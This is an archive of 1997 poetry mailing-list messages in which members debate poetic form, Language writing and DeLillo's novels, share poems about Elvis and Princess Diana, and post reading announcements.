> to a tradition, to a situation, to the psychology of singing anything?
> Hearing. What is hearing? Who hear who what hey hear here?

on that note, I'd like to open up to the list what I was just writing to Aviva, viz., that while--as Wm. Burmeister notes-- Lake's article certainly endeavors to fully naturalize a de-historicized received form with reference to organic processes (that same slippage I mentioned: "by the same law" or some such garbage), I'm intrigued by the idea of form -- any form -- as a "strange attractor" that organizes discourse to itself, though, I'd say, on the basis of localized pressures that have to do with the writing subject (my slightly other version of henry's "poet's relation to..."). form as "found" -- "discovered" in or possibly invented in the grappling with language ("process"). & one doesn't have to accept Lake's ridiculous absolutizing gesture (received form as "archetypal") to see the interest in this. certainly, writing for me, when it's working, occurs a series of incremental discoveries or in(ter)ventions -- I become aware of a tiny recurrence, or note the significance of something in a piece, & then use that awareness as a tool to further the process, & so forth, making or finding tools to modify the work, which then yields further tools with which to modify the work. an inward-turning of sorts, introspection, though not as in our standard use of the term,

not synonymous with confessionalism -- an archeology of one or a series of relations to the medium, & the relations it itself carries by virtue of its (my) social situation.

that's form as "found", or, better, as negotiated. but henry's right, there is a virtue, too, to the de-formative quality of received form, just as there is to any restraining procedure. I've never worked in received form -- I wasn't even present at the time, Officer Boundary (that's for Maria) --, but I've used other such devices as a way of dis-placing or distorting the archeology outlined above. & what do you know, they work. not all sonnets, presumably, have to be written for to go a-courting.

best, Chris

..
Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press site: http://choengmon.lib.utah.edu/~calexand/nonce/

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432. Layne Russell
Slightly-Off-Topic/Bruce Cockburn
Tue 21 Oct 1997

The Bruce Cockburn photos I took at the June 1, 1997, Luther Burbank Center concert in Santa Rosa, California, are now up on one of the Bruce Cockburn sites.

If anyone wants to see them (they are very fast-loading jpgs), fly over to:

http://www.page-designs.com/broooce/santa_rosa.htm

On September 5 Bruce was awarded an honorary Doctorate in Music by Berklee School of Music, Boston, MA. You can see a transcription of his heartfelt speech (third entry down the page) at this url:

http://users.aol.com/fxbrusca/dr_bruce.htm

Much of what he says about music goes for writing/poetry and all the arts. Very moving.

"never let anyone convince you that music is an expendable thing - that what you do is not important. Without music there's no culture and without culture life is impossible." -- Bruce Cockburn

Layne

http://www.sonic.net/layne
A Quiet Place

↑ Index

433. **Thomas Bell**
Re: e'er we go again
Tue 21 Oct 1997

I tend to think that all poetry takes on some form as it grows in my [the] mind. This form might be or become organic or inorganic. Some poetry is written in order to meet requisites (be they good or bad) of given form(s). tom bell

p.s. also posted same message on cap-l and there has been _no_ response.

At 08:15 AM 10/21/97 -0600, Douglas Barbour wrote:
>Nah, I'd agree with chris alexander: let's get by the binaries, especially
>the form/content one. But, even if it's impossible to fully do so, it is
>worth the try.
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>Of course we have had this conversation before (even in the time Ive been
>here), & I quoted yon George Bowering then so wont do it again. But for me,
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>qualities (& [therefore?] says something interesting too). I like what you
>'put forth tentatively', Chris, 'that "form" can be
>understood as the particular complex of visual, sound,
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>can be one element in the form of a poem, but isn't sufficient
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>Hey, that's a start...
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>Doug
>
>==========
==========
>Douglas Barbour
>Department of English
>University of Alberta
>Edmonton Alberta T6G 2E5
>[redacted] FAX:[redacted]
>H: [redacted]
>~~~

~~~~~~~~~
> Nowadays
>I want only the wild and tender
>phrasing of 'Nighthawk,'
>its air groaned out
>like the beath of a lover.
>Rashomon by saxophone.
> Michael Ondaatje
>
>

↑ Index

434. **Pritchett,Pat**
Re: e'er we go again
Tue 21 Oct 1997

Guy Davenport: "every force evolves a form."

From: Thomas Bell
To: POETICS
Subject: Re: e'er we go again
Date: Tuesday, October 21, 1997 1:50PM

I tend to think that all poetry takes on some form as it grows in my [the] mind. This form might be or become organic or inorganic. Some poetry is written in order to meet requisites (be they good or bad) of given form(s). tom bell

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435. **Jack Foley**
Poets on Prose -Reply
Tue 21 Oct 1997

I've barely started Underworld, out of impatient curiosity; but won't get to read it for another week or two, because of other things I'm reading now. I have read six other DeLillo novels -- Great Jones Street and White Noise are my favorites. But even his less effective books, like Numbers, Running Dog, Libra, and Mao II are well worth reading. A miss by DeLillo is better than many a hit by many another novelist. -- JR Foley

>>> Safdie Joseph <[redacted]> 10/21/97 10:38am >>>
As one of my favorite novelists, Joan Didion, got trashed on the list a few weeks back, I was curious to see if another contemporary I revere highly, Don DeLillo, would share the same fate. I saw him last night at a rare public appearance (in Seattle) and he was fascinating --
~~~~~~~~~

talking more like a poet, actually, than a novelist (please . . . I know the standard objections to that division), concentrating on the language being the primal force, antecedent to history, but also opining that "history" (which he called a three-dimensional construct of enormous power) would always be in antagonism with the writer's imagination, and that those different forces were always battling while he composed his works. A lucid, supremely intelligent evening. Anyone else see him, or start Underworld yet?

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436. **JDEBROT**
Re: ILS 1.8
Tue 21 Oct 1997

Barrett Watten's recent contribution to the *Impercipient Lecture Series*, "The Bride of the Assembly Line," belies any suggestion that the Language School is monolithic in its ideology or that the provocations it incited in the 70s and 80s have been exhausted. If the critical language for engaging with experimentalist poetry has begun to seem somewhat automatic & routinized, Watten's essay strikes me as an extremely important corrective. In "The Bride . . . " he challenges the, by now too easy, assumption that the material text is politically effective either because 1. the reader is "empowered" by his/her collaboration in making meaning, or 2. in Watten's words, "what writing wants to accomplish as politics is the same as to do it; that to describe literary possibility is to represent a form of agency, in a circular fashion, as a critique of representation." In place of these alternatives Watten proposes a *cultural poetics* with "a more socially reflexive perspective." Just what this might mean is suggested by George Hartley in his account of Watten's pivotal essay "Total Syntax," where Watten calls for a focused "attention to both the internal, formal, temporal construction of a work and its external, contextual, spatial dimension" The two, as Watten sees it, are coextensive. Therefore the work's external frames ("aesthetic value systems, economic constraints, and ideological structures") mediate, but may also be affected by, its internal syntax. It is through the writer's exploitation of this "total syntax" that is, for Watten, key to the work's eventual political efficacy; what in Watten's book Progress is said to be "a form compelling events."

Possibly someone else might want to elaborate on this to a greater extent -- or more articulately -- than I have done here. In any case, I found it somewhat intriguing that Watten cites both Duchamp's "allegories" & Benjamin's arcades project as working towards "releasing the social forces held in check by the norm." That there can also be a *nonstandard norm* is another of the essay's crucial insights. Watten writes: "Norms are products, not deductive schema of

oppressive rationality, although they can be used for oppressive ends. Nonstandard norms are also produced; they are not simply defined against the abstraction of normativity. The work of the language School, if produced within a system of social feedback necessary for meaning and comprehension, may in turn end up producing itself as a new norm. If this were to happen, a nonstandard mode of expression might simply be inserted into the space of a vacated norm of the expressive lyric."

The history of Language writing is being written and contested *today*. Watten's essay provides an intriguing perspective on this history. But wherever one's sympathies lie, I think it's an extremely good sign that Watten & Bernstein, the West & East Coast Language Schools, etc. disagree on matters of crucial importance. Perhaps the issues raised in ILS 1.8 or, contrastingly, by Bernstein -- as for example, in "Poetics of the Americas," *Modernism?Modernity* 3.3 (1996) -- can be taken up & debated on this List.

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437. **Carolyn Guertin**
Re: Poets on Prose -Reply
Tue 21 Oct 1997

> *I've barely started Underworld, out of impatient curiosity; but won't get to read*
> *it for another week or two, because of other things I'm reading now. I have read six other DeLillo novels -- Great Jones Street and White Noise are my favorites. But even his less effective books, like Numbers, Running Dog, Libra, and Mao II are well worth reading. A miss by DeLillo is better than many a hit by many another novelist.*
> *-- JR Foley*

What??? No mention of The Names and its fascination with language!?

Carolyn Guertin, Department of English, University of Alberta
E-Mail: [redacted]; Tel/FAX: [redacted]
Website: http://www.ualberta.ca/~cguertin/Guertin.htm
"Memory is a capricious seamstress." -- Virginia Woolf

↑ Index

438. **Herb Levy**
Re: Poets on Prose -Reply
Tue 21 Oct 1997

Is Numbers a typo for the Names or for Ratner's Star?, either of which I like better than Great Jones Street. But hey, what do I know.

I'm about 2/3 through Underworld, which I do like, but I'm continually reminded of Joseph McElroy's Women & Men, which I (so far) like better.

Joe makes me wish I'd had time to go to hear DeLillo, but this was the wrong week for me, oh well.

> *I've barely started Underworld, out of impatient curiosity; but won't get to read*
> *it for another week or two, because of other things I'm reading now. I have read six other DeLillo novels -- Great Jones Street and White Noise are my favorites. But even his less effective books, like Numbers, Running Dog, Libra, and Mao II are well worth reading. A miss by DeLillo is better than many a hit by many another novelist.*
> *-- JR Foley*
>
> *Safdie Joseph <[redacted]> 10/21/97 10:38am >>>*
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Herb Levy
[redacted]

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439. George Thompson
Re: Slightly-Off-Topic/Bruce Cockburn
Tue 21 Oct 1997

Off-topic? I don't know.

I found myself, earlier today, talking about poetry with one of my lit classes [we're racing through a sequence on English Romantic poets, after dealing with Voltaire, Swift, Rousseau, and Truffaut's "L'enfant sauvage"].

I asked them "Do you read poetry, do you write poetry, what is poetry?" You know, the typical questions, before pouncing on Blake, the lamb and the tyger, heaven & hell, and all those angels, and so forth.

They were all very lethargic, it was early in the morning, and in the absence of a response, I unpremeditatedly took off in pursuit of poetry for them. I found

myself saying that poetry was language as it approaches the state, the exquisite condition, of becoming music. I drew out of them, painfully slowly, the recognition that they all had that it was all a matter of rhythm and repetition, the building up of expectations, and the exploitation of expectations. The virtues of rhyme and the exhilaration that we find in varying it, doing unexpected things to it, so that ultimately everything in the poem, right down to the least syllable, steered us to the one true thing: the poem's message.

I don't know. I got excited. They got excited. I think it was one of those moments why I like teaching. We all seemed for a moment to see it [or so it seemed, at least].

It was just a momentary high.

Somebody a few weeks ago referred to those momentary deities that used to be a regular part of the general landscape. What were they called? In German they they call them "Sondergoetter." I don't know the English name for them. Well, I guess 'momentary deities' is what they were.

George Thompson

> *The Bruce Cockburn photos I took at the June 1, 1997, Luther Burbank Center concert in Santa Rosa, California, are now up on one of the Bruce Cockburn sites.*
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>
> *Layne*

> *http://www.sonic.net/layne*
> *A Quiet Place*

↑ Index

440. **Mark Baker**
Re: Poets on Prose -Reply
Tue 21 Oct 1997

> *What??? No mention of The Names and its fascination with language!?>*

In The Names, Paul Lake appears among the "zealots of the alphabet," the worshippers of natural form and deniers of the arbitrariness of signs. They match the initials of a person's name with the initials of a place name. Then they naturally kill the person. Once belittled as lunatic, this practice has now been shown to fit the latest discoveries of ananarchic non-chaos physics.

But, in the epilogue, a Language poet appears, and convinces us of the unrelation between the Parthenon and our syntax. The form moves us deeply, though we have no feelings to be moved.

Mark Baker

↑ Index

441. **mark weiss**
Re: Slightly-Off-Topic/Bruce Cockburn
Wed 22 Oct 1997

In the standard translation of Cassirer they're rendered as "momentary gods."

> *Somebody a few weeks ago referred to those momentary deities that used to be a regular part of the general landscape. What were they called? In German they they call them "Sondergoetter." I don't know the English name for them. Well, I guess 'momentary deities' is what they were.*

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442. **lee ann brown**
NYC Poetry happenings
Wed 22 Oct 1997

---

happenings at
Segue Performance Space
303 E. 8th St between Aves B & C

Sunday, October 26 8:30pm

reading for Explosive Magazine
hosted by Katy Lederer
with:
    Brett Evans
    Elinor Nauen
    Anselm Berigan
    Lee Ann Brown
    and more...

Tuesday, November 4 th 7:30pm

readings by:
    George Albon
    Shelley F. Marlow
    Caroline Bergvall

Tuesday, November 18th 8:00pm

Cinemaki: Lives of the Poets
movies by
    Larry Fagin
    Lee Ann Brown
    Nick Dorsky

Sunday, November 23rd 8:00pm

films and poetry by Euphrosyne Bloom

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443. lee ann brown

Lee Ann Brown reading at Bard College

Wed 22 Oct 1997

Lee Ann Brown reads her poetry
at Bard College Thursday October 23, 6:00pm

Olin 120
Bard College
Annandale-on-Hudson, New York

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444. Aviva Vogel
Re: math/logic and poetry
Wed 22 Oct 1997

I, too, would be interested in hearing of poets using mathematics/logic as a schematic in their work. Very very interested. Thanks, Aviva

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445. mark weiss
(no subject)
Wed 22 Oct 1997

"here is a virtue, too, to the de-formative quality of
received form"
"not all sonnets, presumably, have to be written for to go a-courting."

Of course, it's possible to try to subvert a form, but the form is in itself anything but "de-formative." The sonnet, for example, which I tried to subvert for about seven years of apprenticeship, is not just a love poem in any casual pattern of 14 rhymed lines. It contains within itself a logical constraint: an if/then pattern (in Shakespeare an if/if/if/then pattern). A variant on the syllogism. This is true whether one looks at Donne, or Keats, or Wordsworth, or Spencer or Milton. I have nothing against syllogisms, I just don't find them particularly useful for me as a mode of inquiry. Put another way, for me to write a sonnet I'd have to experience life and language as governed by an apparent logic. The logic, the coherence, would be a given. In the secular world in which I live whatever logic may be available takes a bit more exploration to discover.

At 10:50 AM 10/21/97 MST7MDT, you wrote:
>henry ghould wrts:
>> Is it because the mechanics of form are generated by more subtle
>> formalities - like the poet's relation to an audience, to an occasion,
>> to a tradition, to a situation, to the psychology of singing anything?
>> Hearing. What is hearing? Who hear who what hey hear here?
>
>on that note, I'd like to open up to the list what I was just
>writing to Aviva, viz., that while--as Wm. Burmeister notes--
>Lake's article certainly endeavors to fully naturalize a
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>ridiculous absolutizing gesture (received form as "archetypal")
>to see the interest in this. certainly, writing for me, when it's
>working, occurs a series of incremental discoveries or
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>note the significance of something in a piece, & then use
>that awareness as a tool to further the process, & so forth,
>making or finding tools to modify the work, which then yields
>further tools with which to modify the work. an inward-turning
>of sorts, introspection, though not as in our standard use of the
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>of one or a series of relations to the medium, & the relations it
>itself carries by virtue of its (my) social situation.
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>that's form as "found", or, better, as negotiated. but henry's
>right, there is a virtue, too, to the de-formative quality of
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>I've never worked in received form -- I wasn't even present at
>the time, Officer Boundary (that's for Maria) --, but I've used
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>not all sonnets, presumably, have to be written for to go a-courting.
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>best, Chris
>
>..
>Christopher W. Alexander etc. / nominative press collective
>
>email: [redacted]
>snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
>press site: http://choengmon.lib.utah.edu/~calexand/nonce/
>
>

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446. **mark weiss**
(no subject)
Wed 22 Oct 1997

I know this is a side issue, but I really would like to be enlightened on this point. I have always assumed that Mozart was good for me, but not that he made me smarter. Who says this? Do they also say (and on what basis), as you seem to imply, that Haydn or Beethoven offer less of an IQ boost? My guess is that the answer might be a hoot.

The argument
>strikes me as a universalization of the "Mozart effect"--i.e., that
>because Mozart's [admittedly 'formal'] music raises IQ [&, I have little
>doubt, does much more], all formal music must possess similar virtues,
>or [LaRouche's point] all music ought to embody formal [i.e.,
>immediately apparent] structures. Yeah, but: Mozart's genius engaged the
>formal in a special way which other classical composers evidently did
>not, since only his music appears to have the magical "Mozart effect."
>

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447. **Sylvester Pollet**
Elvis poems
Wed 22 Oct 1997

A good friend of mine, just back from a Utopian Conference in Memphis & a visit to Graceland, asked me whether I knew of any good poems about Elvis. I said I'd ask. Any suggestions? Thanks, Sylvester

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448. **Rachel Loden**
Re: Elvis poems
Wed 22 Oct 1997

Sylvester Pollet wrote:
>
> A good friend of mine, just back from a Utopian Conference in Memphis & a
> visit to Graceland, asked me whether I knew of any good poems about Elvis.
> I said I'd ask. Any suggestions? Thanks, Sylvester

Sylvester, I don't know whether you'll think this is good, or even a poem . . .

DCEASE

There are two Elvis Presleys in the Social Security Death Master File (DCEASE). The King's social security number is 409-52-2002. His death benefits zip code is 38116, aka Memphis, TN (so little Lisa Marie won't be forced to sell matchsticks on Elvis Presley Boulevard in that city, or marry Michael Jackson for anything but Love). EP #1 was born 1/8/35 and died 8/00/77. No matter how many mourners come to Graceland on August 16, the Social Security Death Master File will remain benignly ignorant and democratic. It will always record that EP #1 died on the 00 day of the month, just like everybody else.

Just like his namesake, Elvis Presley #2. Who was this guy? We can confabulate something of his mother's state of mind from his date of birth, 10/24/57, after EP #1 left for Hollywood but before he went into the army. Other than that all we know is that 425-11-0453 died 4/00/87, not quite thirty, in Nettleton, MS. No death benefits zip code is listed. Ten years after EP #1 was buried, EP #2 apparently died without heirs.

I am stumbling around in the electronic graveyard for another reason, actually. I am looking for a missing uncle, my grandfather's first son from a marriage he wished forgotten. The only picture I have of him is photocopied from a book in the Newberry Library in Chicago. I have the same book at home, but the page with my uncle's photograph is torn out, missing.

I can't find him, though, under any of his six possible names. I do kick over another stone, and immediately wish I hadn't: the very daft and ravishing Christina Montemora, born 12/12/48, died 11/00/87, zip code of last residence 12401. Somehow I did know that I would find you, obvious Ophelia of my derelict years, though still hoping that this search would bring up NO DOCUMENTS. Your name, the few clues you leave behind, float like a reproach in the amber-colored letters on the black screen.

--Rachel Loden
first published in _New American Writing_ 13

↑ Index

449. **Daniel Zimmerman**
(no subject)
Wed 22 Oct 1997

---

mark weiss wrote:
>
> I know this is a side issue, but I really would like to be enlightened on
> this point. I have always assumed that Mozart was good for me, but not that

> he made me smarter. Who says this? Do they also say (and on what basis), as
> you seem to imply, that Haydn or Beethoven offer less of an IQ boost? My
> guess is that the answer might be a hoot.
>
> The argument
> >strikes me as a universalization of the "Mozart effect"--i.e., that
> >because Mozart's [admittedly 'formal'] music raises IQ [&, I have little
> >doubt, does much more], all formal music must possess similar virtues,
> >or [LaRouche's point] all music ought to embody formal [i.e.,
> >immediately apparent] structures. Yeah, but: Mozart's genius engaged the
> >formal in a special way which other classical composers evidently did
> >not, since only his music appears to have the magical "Mozart effect."
> >
Mark,

Don G. Campbell just published a book about this on Oct. 1: _The Mozart Effect: Tapping ther Power of Music to Heal the Body, Strengthen the Mind, and Unlock the Creative Spirit_. Avon. ISBN: 0380974185, 352pp. [OK: the subtitle makes me queasy, but look at the publisher]

I haven't read it yet, but have heard Campbell interviewed a few times [as well as others on the same matter]. An experiment with rats, for example, who listened to Mozart showed they learned to run a maze several times faster if they listened to Mozart , whereas those who listened to Heavy Metal took several times longer to learn. Does this surprise anyone?

I suspect the experimental psychologists have already done a chunk of work on this for Campbell to use [he also wrote some other books on music, evidently also for a mass audience], and that we can find much of that work easily on the net. These days, though, I just don't have the time.

Hope that helps.

Dan Zimmerman

↑ Index

450. Michael Magee

Re: Elvis poems

Wed 22 Oct 1997

Ok, you asked for it. Here's one that I wrote about a year ago. Whether its good, or *about* Elvis, is anyone's guess. I'm using asterisks to indicate italicized sections:

HE CATCHES A TRAIN AND RIDE

down Glenwood exhausted and ornery rowhouses
run in place alongside a junkyard that could
and couldn't be a misplaced MOMA exhibit.
a billbaord says

*The Virgin Mary Speaks
To America.* true. she sings
"Ain't Nothin but a Houndog"
over & over.

it is really, really stupid of her.
in *Clambake* Elvis plays a misfit trying
to get the girl away from - who? - Chad Everett? or
Tad something?

anyway, things culminate
in a clambake
and Elvis croons a song
called "Clambake"

not heard in these parts since breakfast or much earlier.
as they run, the rowhouses shout out what could be
a dissonant, splintered version of "John Henry"
over samples of

The Average White Band,
Grand Funk Railroad, & Sinatra's "Lady is a Tramp."
echoes of *Blue Hawaii* undetectable.
clambakes?

for god's sake, Mary,
we're knee-deep in junk here. if
you're on
a train, passing

the yard heading north eventually
you'll get to a lake.
lake
rhymes with bake, but I don't have to
tell you that. ain't nothin but a houndog

-Mike.

According
to
Sylvester Pollet:
>

> A good friend of mine, just back from a Utopian Conference in Memphis & a
> visit to Graceland, asked me whether I knew of any good poems about Elvis.
> I said I'd ask. Any suggestions? Thanks, Sylvester
>

↑ Index

451. **robert drake**
Re: math/logic and poetry
Wed 22 Oct 1997

Bob Grumman is apparently reluctant to toot his own sackbut, but i'll suggest for him that you check out his Mathemaku, one ov which (w/ comments) is up at his website:

http://www.geocities.com/SoHo/Cafe/1492/expla1.html

(altho, actually, i don't think its the best one...)

lbd

> *Dear list members,*
>
> *I would be grateful for any reading suggestions of contemporary poets who have used mathematical or logical models as occasions for composition. Of course texts like Ashbery's _Flow Chart_ come immediately to mind, but I'm sure there are may other obvious choices that I'm just not coming up with. I am especially interested in women writers incorporating mathematical/logical systems into their work. I'll be thankful for all suggestions, obvious and obscure.*
>
> *Please copy any posts to me via backchannel.*
>
> *Many thanks in advance,*
>
> *Jennifer Ashton*
> *Johns Hopkins University*
> [redacted]

↑ Index

452. **Diederik Wolsak**
Re: non and hypernon
Wed 22 Oct 1997

LAURA MORIARTY wrote:
>
> More emptiness:
>

> Michael McElligott, Standard Schaefer, Louis Cabri and Jean Day
>
> at http://socrates.berkeley.edu/~moriarty.htm

Dear Laura,

Tried in vain to receive "more emptiness". Computer claims "not found, doesnt exist on this server, outdated, inaccurate". Any snags from where you sit? Thoroughly enjoyed the first set. Thank you!

Best,
Melissa Wolsak

↑ Index

453. **rob wilson**
if UK/US poesy had a wide circulation
Wed 22 Oct 1997

Punning on EP's gloomy modernist thought-- "the thought of what America would be like if the classics had a wide circulation"-- we might update this to read: the thought of what the US would be like if language poetries had a wide circulation troubles my media-encrusted head. This all has to do with Elton John's "Candle in the Wind 97" which has become the biggest selling song lyric (I take this as a poem genre) in the history of the world (31.8 million so far, and it is not even Christmas). Now Julian Barnes churlishly pointed out that that Princess Di lived her life less "like a candle in the wind" and "more like a bloody great chandelier surrounded by flunkies and screens," by why argue over the banality of such metaphors (mutter-fors) or bash John (as I and Keith Richards have done) as (in that work) a royalist flunky mistranslating his own stronger, earlier work (the endictment of media celebbrity porno in Marilyn Monroe song)? So a "fit audience but few" comes to hear the devious poetic wit of David Bromidge read in Buffalo on a Monday night when the Bills seemingly dominate public consciousness in the wintry city. Does this mean we should declare a "moratorium" on such readings, on such counter-events and counter-creations. I think not. Poesy lives on, and poetry too, and it is up to us to nurture and even aggravate that difference. If Charles Bernstein became the poet laureate and talked about nature poesy on Mcneil Lehrer, I would think that that Emersonian spirt of the land was dead and I would weap. But now I know that the spirit of great poetry (yes, I will get gnostic and mystical here) lives on in Buffalo and Honolulu and santa Cruz in its own remote circulation patterns, and the thought of what American would be like if Ron Silliman or Juliana Spahr's poetry had a wide circulation troubles my sleep not a bit. Maybe we should send Bill Clinton a copy of Gregory Corso's Gasoline (City Lights Books, 196?) for Xmas, so that he can put it in Chelsea's stanford stocking (the latter, we

should hope, will take a poetry class with M Perloff) or one on devious ethnic literature with David Palumbo Liu). Someday I will learn to practice "mah" and letting go, but not just yet. Rob Wilson

---------- Forwarded message ----------
Date: Wed, 10 Sep 1997 09:34:00 -1000
From: "Pritchett,Pat @Silverplume" <[redacted]>
To: POETICS <[redacted]>,
rob wilson <[redacted]>
Subject: RE: Elton John translates Elton John/Ber

Rob: I certainly agree with your comments on the sublimation process at work in John's new version - it smacks of the kind of defensive revision/repression Wordsworth performed in _The Prelude_ for instance and which Yeats was known for as well. And, too, one can't fail to notice the Blakean allusion in John's line about "England's green hills," equating Diana with Christ himself! In the unwieldy effort to conflate these two disparate icons, a certain necessary elision must take place I suppose. I marvelled not only at how swiftly D's apotheosis took place, but also at where it occured: at the intersection of royal tradition and pop fetishization.

Appended is a poem re: the media event of Diana (rather than D. herself). I happened to be studying ballads that day. Some of the quotes are from the Norton Anthology, including its footnotes; some from _On Signs_, edited by Marshall Blonsky, which contains a detailed critique of the royal wedding.

ELEGAIC PASTICHE

Narrative details might form
a ballad about a princess
or any handsome young woman
"who would fain lie down."
But to classify the subject
by meters, focussing on
a catastrophic moment,
would also signal the typical
betrayal and elevation
of a TV loneliness
as attested to by
the attendance of crowds
and the spectacle of roses
and signatures, which are all
we have really, when you come
down to it.
        Of a loveliness that daily

fed us nothing is certain
but the crisis of its aftermath.
It involves images of dearness,
replicated many times.
Kissing "the wounds that were so red."
"A species of deer distinguished"
by a supernal color
so that its gawky movements,
fabricated as they are,
give us a sense that an increase
in the amount of available light
is what lends consumerism its tragic tone,
the lieux de memoire of
the "lost participatory dimension."

↑ Index

454. **Jack Foley**

Re: Poets on Prose -Reply -Reply

Wed 22 Oct 1997

The Names and Ratner's Star are both on my shelf, waiting ... waiting ... Their day will come. -- JRF

>>> Carolyn Guertin <[redacted]> 10/21/97
05:22pm >>>
>I've barely started Underworld, out of impatient curiosity; but won't get
>to read
>it for another week or two, because of other things I'm reading now. I have
>read six other DeLillo novels -- Great Jones Street and White Noise are my
>favorites. But even his less effective books, like Numbers, Running Dog,
>Libra, and Mao II are well worth reading. A miss by DeLillo is better than
>many a hit by many another novelist.
>-- JR Foley

What??? No mention of The Names and its fascination with language!?

Carolyn Guertin, Department of English, University of Alberta
E-Mail: [redacted]; Tel/FAX: [redacted]
Website: http://www.ualberta.ca/~cguertin/Guertin.htm
"Memory is a capricious seamstress." -- Virginia Woolf

↑ Index

455. **Jack Foley**
Re: Poets on Prose -Reply -Reply
Wed 22 Oct 1997

Actually, Numbers is a typo for Players, with an obvious confusion with The Names. I can never remember the title Players, I always think Numbers. But Players it is. -- JRF

>>> Herb Levy <[redacted]> 10/21/97 08:28pm >>>
Is Numbers a typo for the Names or for Ratner's Star?, either of which I like better than Great Jones Street. But hey, what do I know.

I'm about 2/3 through Underworld, which I do like, but I'm continually reminded of Joseph McElroy's Women & Men, which I (so far) like better.

Joe makes me wish I'd had time to go to hear DeLillo, but this was the wrong week for me, oh well.

> *I've barely started Underworld, out of impatient curiosity; but won't get to read*
> *it for another week or two, because of other things I'm reading now. I have read six other DeLillo novels -- Great Jones Street and White Noise are my favorites. But even his less effective books, like Numbers, Running Dog, Libra, and Mao II are well worth reading. A miss by DeLillo is better than many a hit by many another novelist.*
> *-- JR Foley*
>
> *Safdie Joseph <[redacted]> 10/21/97 10:38am >>>*
> *As one of my favorite novelists, Joan Didion, got trashed on the list a few weeks back, I was curious to see if another contemporary I revere highly, Don DeLillo, would share the same fate. I saw him last night at a rare public appearance (in Seattle) and he was fascinating -- talking more like a poet, actually, than a novelist (please . . . I know the standard objections to that division), concentrating on the language being the primal force, antecedent to history, but also opining that "history" (which he called a three-dimensional construct of enormous power) would always be in antagonism with the writer's imagination, and that those different forces were always battling while he composed his works. A lucid, supremely intelligent evening. Anyone else see him, or start Underworld yet?*

Herb Levy
[redacted]

↑ Index

456. **henry**
Re: ILS 1.8
Wed 22 Oct 1997

Jacques's idea of a discussion around the Watten ILS essay sounds good. I was surprised to find how different his take on it was from mine. I will not get into that because it's time for me to listen for a while. [Spandrift, could you please sharpen your poignard OUTSIDE? That grating noise is getting to me...]

But I wonder if the essay could go online? a lot of people will be left out otherwise. - Henry Gould

↑ Index

457. **Sylvester Pollet**
Re: Elvis poems
Wed 22 Oct 1997

Thanks Rachel, I'll forward your piece. "Good" was my friend's word--don't know what she meant by it--I suspect something like "not painted on velvet," but I'm not sure. But on another issue--I spent last weekend at zip 12409, & environs, so that Ophelia caught my eye. Let me know if you want to pursue that. 12498 was my home turf, from the days before zipcodes. Sylvester

> *Sylvester Pollet wrote:*
>
> *A good friend of mine, just back from a Utopian Conference in Memphis & a visit to Graceland, asked me whether I knew of any good poems about Elvis. I said I'd ask. Any suggestions? Thanks, Sylvester*
>
> *Sylvester, I don't know whether you'll think this is good, or even a poem . . .*
>
> *DCEASE*
>
> *There are two Elvis Presleys in the Social Security Death Master File (DCEASE). The King's social security number is 409-52-2002. His death benefits zip code is 38116, aka Memphis, TN (so little Lisa Marie won't be forced to sell matchsticks on Elvis Presley Boulevard in that city, or marry Michael Jackson for anything but Love). EP #1 was born 1/8/35 and died 8/00/77. No matter how many mourners come to Graceland on August 16, the Social Security Death Master File will remain benignly ignorant and democratic. It will always record that EP #1 died on the 00 day of the month, just like everybody else.*

> *Just like his namesake, Elvis Presley #2. Who was this guy? We can confabulate something of his mother's state of mind from his date of birth, 10/24/57, after EP #1 left for Hollywood but before he went into the army. Other than that all we know is that 425-11-0453 died 4/00/87, not quite thirty, in Nettleton, MS. No death benefits zip code is listed. Ten years after EP #1 was buried, EP #2 apparently died without heirs.*
>
> *I am stumbling around in the electronic graveyard for another reason, actually. I am looking for a missing uncle, my grandfather's first son from a marriage he wished forgotten. The only picture I have of him is photocopied from a book in the Newberry Library in Chicago. I have the same book at home, but the page with my uncle's photograph is torn out, missing.*
>
> *I can't find him, though, under any of his six possible names. I do kick over another stone, and immediately wish I hadn't: the very daft and ravishing Christina Montemora, born 12/12/48, died 11/00/87, zip code of last residence 12401. Somehow I did know that I would find you, obvious Ophelia of my derelict years, though still hoping that this search would bring up NO DOCUMENTS. Your name, the few clues you leave behind, float like a reproach in the amber-colored letters on the black screen.*
>
> *--Rachel Loden*
> *first published in _New American Writing_ 13*

↑ Index

458. **David Golumbia**
Re: non and hypernon
Wed 22 Oct 1997

Laura typed the URL slightly incorrectly.

http://socrates.berkeley.edu/~moriarty/index.html

works fine.

-- David with fractional T3 access.

Diederik Wolsak wrote:
>
> LAURA MORIARTY wrote:
> >

> > More emptiness:
> >
> > Michael McElligott, Standard Schaefer, Louis Cabri and Jean Day
> >
> > at http://socrates.berkeley.edu/~moriarty.htm
>
>
> Dear Laura,
>
> Tried in vain to receive "more emptiness". Computer claims "not found,
> doesnt exist on this server, outdated, inaccurate". Any snags from
> where you sit? Thoroughly enjoyed the first set. Thank you!
>
> Best,
> Melissa Wolsak
>

--
[redacted]
David Golumbia

↑ Index

459. Fred Muratori
Re: Elvis poems
Wed 22 Oct 1997

> *A good friend of mine, just back from a Utopian Conference in Memphis & a visit to Graceland, asked me whether I knew of any good poems about Elvis. I said I'd ask. Any suggestions? Thanks, Sylvester*

Well, Evis-ish perhaps..

ELVIS & THE BIBLE

What God there is sews faces on a quilt in twilight.
He/She doesn't know a nose from earlobes, so what becomes
is what we get, like Pollock or Picasso: fistfights
over how we see, lawsuits, world wars. Discrepancies
increase and make for garish life. Consider Loch Ness,
Bigfoot, Buddha, and the Twist, our mothers' tinted hair
in hives sprayed stiff with gases that erode the ozone.
Our children will grow up sunburned but happy, and will
join us with our alien captors in Atlantis.
Until then, there is meaning stubborn as a six-inch leech,
an interpretation worth dying for, real estate,

home shopping. How can we beg for death when everywhere
belief abounds, spatters wild as mercury flung down
on asphalt? Our youth is sprinkled through our lives: Elvis
and the Bible, Charlemagne, Roy Orbison in tears.

(originally appeared in _Late Knocking_)

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

460. **Safdie Joseph**

Re: Poets on Prose -Reply

Wed 22 Oct 1997

This was a pretty hilarious summary of the last few weeks or so on the List by Mark Baker. Nice work.

(But, if anyone hasn't read it, The Names is haunting and mysterious).

> *What??? No mention of The Names and its fascination with language!?>*
>
